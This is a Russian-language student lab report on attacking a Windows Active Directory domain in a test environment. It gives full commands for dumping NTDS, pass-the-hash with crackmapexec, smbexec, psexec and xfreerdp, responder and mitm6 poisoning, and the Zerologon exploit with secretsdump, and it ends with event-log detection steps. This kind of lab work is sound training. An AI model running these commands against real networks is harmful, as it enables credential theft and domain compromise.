# Гришанов Матвей Сергеевич -- Windows Basic Практическая работа 6. Базовые атаки и компрометация доменной Windows-инфраструктуры
[toc]
## Практическая работа 6.1 Базовые атаки на Windows-инфраструктуру
### Анализ базы NTDS -- Бэкап NTDS
1.1 Воспользуемся базовыми средствами **Windows** для работы с **NTDS**. Заходим от имени администратора в командную строку и вводим команды.
:::info
:information_source: Список используемых команд:
`ntdsutil` -- запуск утилиты NTDS.
`activate instance ntds` -- подключаемся к активной Active Directory.
`ifm` -- активируем процесс Install From Media.
`create full C:\temp` -- создаём копию NTDS.
:::
Данные команды активируют процесс **Install From Media**, позволяющий сделать копию нашего **NTDS** с необходимыми ветками реестра.

:::success
:star: Дамп-файлы успешно созданы!
:::
1.2 В директорию C:\temp были помещены дамп-файлы.


---
### Анализ базы NTDS -- Перенос NTDS
1.3 Воспользуемся базовыми средствами Kali Linux. Используем SMB, чтобы зайти на сервер Windows с Kali-Linux.
:::info
:information_source: Используемая команда:
`smbclient '\\192.168.10.200\C$' -U PT/Administrator`
**192.168.10.200** -- ip адрес контроллера домена.
**PT** -- имя домена.
**Administrator** -- имя пользователя домена с правами администратора.
:::
1.4 После чего копируем файлы на **Kali-Linux**.
:::info
:information_source: Список используемых команд:
`recurse ON` -- включает доступ к подкаталогам для операций с несколькими файлами (**mput** и **mget**).
`prompt OFF` -- выключение подсказки для операций с несколькими файлами (**mput** и **mget**).
`lcd /home/kali` -- переход в указанный каталог на локальной системе (**/home/kali** -- домашняя папка пользователя **Kali-Linux**).
`mget temp` -- получение всех файлов на удаленном сервере, удовлетворяющих указанной маске файла.
:::

---
### Анализ базы NTDS -- Анализ NTDS
1.5 Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполним набор команд.
:::info
:information_source: Список используемых команд:
`git clone https://github.com/SecureAuthCorp/impacket` -- скачивание **impacket** с **github**.
`apt install python3-pip` -- устанавливаем **pip** для **python3**.
`cd impacket` -- переходим в каталог **impacket**.
`pip install .` -- устанавливаем impacketс с помощью pip.
:::
:::warning
:warning: У Kali-linux должен быть выход в интернет.
:warning: У четвертой команды в конце должна быть точка - это часть команды.
:::

---
1.6 После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду.
:::info
:information_source: Используемая команда:
`python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL`
**secretsdump.py** -- исполняемый скрипт.
**ntds.dit** -- анализируемый инстанс базы данных **NTDS**.
**registry/SYSTEM** -- иветка реестра, с помощью которой мы можем прочитать **NTDS**.
**LOCAL** -- флаг для скрипта, который говорит, что мы анализируем NTDS локально.
:::

:::warning
:warning: Будьте внимательны -- формат информации в этом выводе описан в строчке **"dumping domain credentian"**.
:::
:::info
:information_source: Анализирование **NTDS** производится целью разобраться в структуре базы аутентификационых данных для объектов домена.
:::
---
### Path-the-hash -- Crackmapexec
Выполнение атаки PtH с помощью Crackmapexec.
Crackmapexec -- это набо python-скриптов для тестирования **Windows** окружения. Использует ==Windows API==, поэтому ==обнаружить довольно сложно==.
1.7 Базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb.
:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.0/24`
:::

---
1.8 Выполнение поиска команды от имени пользователя на удаленной машине посредством командной строки.
:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami`
:information_source: Hash - это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).
:::

---
1.9 Просмотр списка сетевых папок, доступных конкретному пользователю.
:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares`
:::

---
1.10 В **impacket** есть утилита **smbexec**, позволяющая запустить **cmd windows** для удаленной передачи команд, при этом практически не оставляя следов.
:::info
:information_source: Используемая команда:
`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128`
**PT** -- имя домена.
**Administrator** -- имя пользователя домена с правами администратора.
**192.168.10.200** -- ip адрес компьютера-жертвы.
hashes -- специальный флаг для использования хэша.
:::

:::info
:information_source: Существует аналог -- psexec
:::
---
:::info
:information_source: Используемая команда:
`python3 psexec.py domain/username:password@hostIP`
:::

---
:::info
:information_source: Используемая команда:
`python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH`
:::

---
### Path-the-hash -- XFreeRDP
1.11 Используя хеш, можно зайти даже по RDP.
:::info
:information_source: Используемая команда:
`xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH`
:::
1.12 Но сначала нужно включить удалённый доступ по RDP на dc1.


---
1.13 Пробуем зайти на dc1, а после подтверждаем сертификат.

---
1.14 Политика **Restricted Admin** не позволяется нам его использовать :arrow_right: изменяем параметр реестра на **dc1**.
:::info
:information_source: Используемая команда:
`New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force`
:::

---
1.15 В политике аудита PoSH можно увидеть выполнение этой команды.

---
:::success
:star: Xfreerdp успешно запустил нас на сервер!
:::

---
### Атаки на базовые протоколы Windows -- NBT-NS & LLMNR & mDNS
:::info
:information_source: Важной частью эксплуатации будет **WPAD** -- специальный протокол для настройки проксирования в системе **Windows**.
:information_source: **NBT-NS (NetBIOS Name Service)** -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
:information_source: **LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети.
:information_source: **mDNS (Multicast DNS)** -- суть такая же, как и у **LLMNR**. **DNS** через Мультикаст.
Все вместе технологии реализуют **Zeroconf**.
:information_source: Основная уязвимость в этих протоколах -- отсутствие подтверждения информации.
:::
### Атаки на базовые протоколы Windows -- Анализ инфраструктуры через responder
1.16 Для того, чтобы изучить флаги и возможности responder -- необходимо воспользоваться мануалом.
:::info
:information_source: Используемая команда: `responder -h`
:::
---
1.17 Запускаем responder.
:::info
:information_source: Используемая команда: `responder -I eth0 -A`
:::

---
1.18 Доменный ПК пытается обратиться к несуществующему сетевому адресу.

---
1.19 Анализатор видит **LLNMR**, **NBNS** запросы.

---
1.20 Режим атаки:
:::info
:information_source: Используемая команда: responder -I eth0 -wFv
:information_source: -I eth0 -- выбор интерфейса.
:information_source: w -- отравление **WPAD**.
:information_source: F -- попытка принудить систему использовать старые протоколы аутентификации, если возможно.
:information_source: v -- вывод подробной информации (в т.ч. перехваченного хэша).
:::
1.21 Запускается **responder**.

---
1.22 Пользователь проходит по несуществующему пути.

---
1.23 **Responder** притворяется этим ресурсом, поэтому видим окно аутентификации -- перехватывает аутентификационный токен

:::info
:information_source: Данный токен можно подвергнуть брутфорсу.
:::
---
### Атаки на базовые протоколы Windows -- mitm6
1.24 Атака имитирует **DHCPv6** сервер и отправляет на компьютеры в сети параметры **IPv6**, которые используются в приоритете над **IPv4** при отправке компьютеров данных по сети.
1.25 Выполняем установку.
:::info
:information_source: Используемая команда: `pip install mitm6`
:::

---
1.26 Настройки сетевого адаптера **PC1** до атаки.

---
1.27 Выполнение атаки.
:::info
:information_source: Используемая команда: `mitm6.py -d pt.local`
:::

---
1.28 Настройки сетевого адаптера **PC1** после атаки.

---
1.30 Подмена доменного ресурса -- создание своего сервера SMB. Не отключая mitm6, создаём SMB сервер.
:::info
:information_source: Используемая команда: `python3 smbserver.py -smb2support SMB /root/SMB`
:::

---
1.31 Подмена прошла успешно -- аутентификационные данные были получены (Такие данные можно вскрывать с помощью **hashcat** или **John the ripper**. Это не чистый хэш пароля, а аутентификация по протоколу **NTLMv2**).

---
## Практическая работа 6.2 Компрометация доменной Windows-инфраструктуры
2.1 Первым делом активируем политику аудита машинных учётных записей и применим её к контроллерам домена.
:::info
:information_source: Путь до политики: Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant
:::

---
### Эксплуатация уязвимостей контроллера домена
2.2 Проводим поиск по уязвимости **zerologon** на **github**.

---
2.3 Скачиваем один из них и переходим в **README**.
:::info
:information_source: Используемые команды:
`git clone https://github.com/risksense/zerologon`
`
cat README.md
`
:::


---
2.4 Используем консткукцию для вызова эксплойта.
:::info
:information_source: Используемая команда: `python3 set_empty_pw.py DC1 192.168.10.200`
:::

---
2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить **NTDS** с помощью **secretsdump**. Делаем дамп-файл.
:::info
:information_source: Используемая команда: `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`
:::

---
2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя.
:::info
:information_source: Используемая команда: `crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`
:::

---
### Поиск следов эксплуатации уязвимостей
2.7 Проверим журнал **System**, увидим ошибку **Netlogon**.

---
2.8 Проверим **Security**, увидим событие **4742**.

---
2.9 Внимательно проанализируем событие.

:::warning
:warning: **ANONYMOUS LOGON** - подозрительный **Security ID**.
:warning: Заполненное поле password **Last Set** -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только **NETWORK SERVICE**. И, если это происходит, генерируется ещё одно событие с **ID 5823**.
:::
---
2.10 Найдём событие **5823** в журнале **System** с помощью фильтра.

---
2.11 Событие есть, но произошло задолго до атаки.

---
2.12 Найдём события **4742**, которые являются легитимными событиями, связанными с введением в домен **dc2**.

---
2.13 Если происходит дамп **NTDS**, то можно увидеть данные выгрузки в журнале **Direcrory** **Service**.

---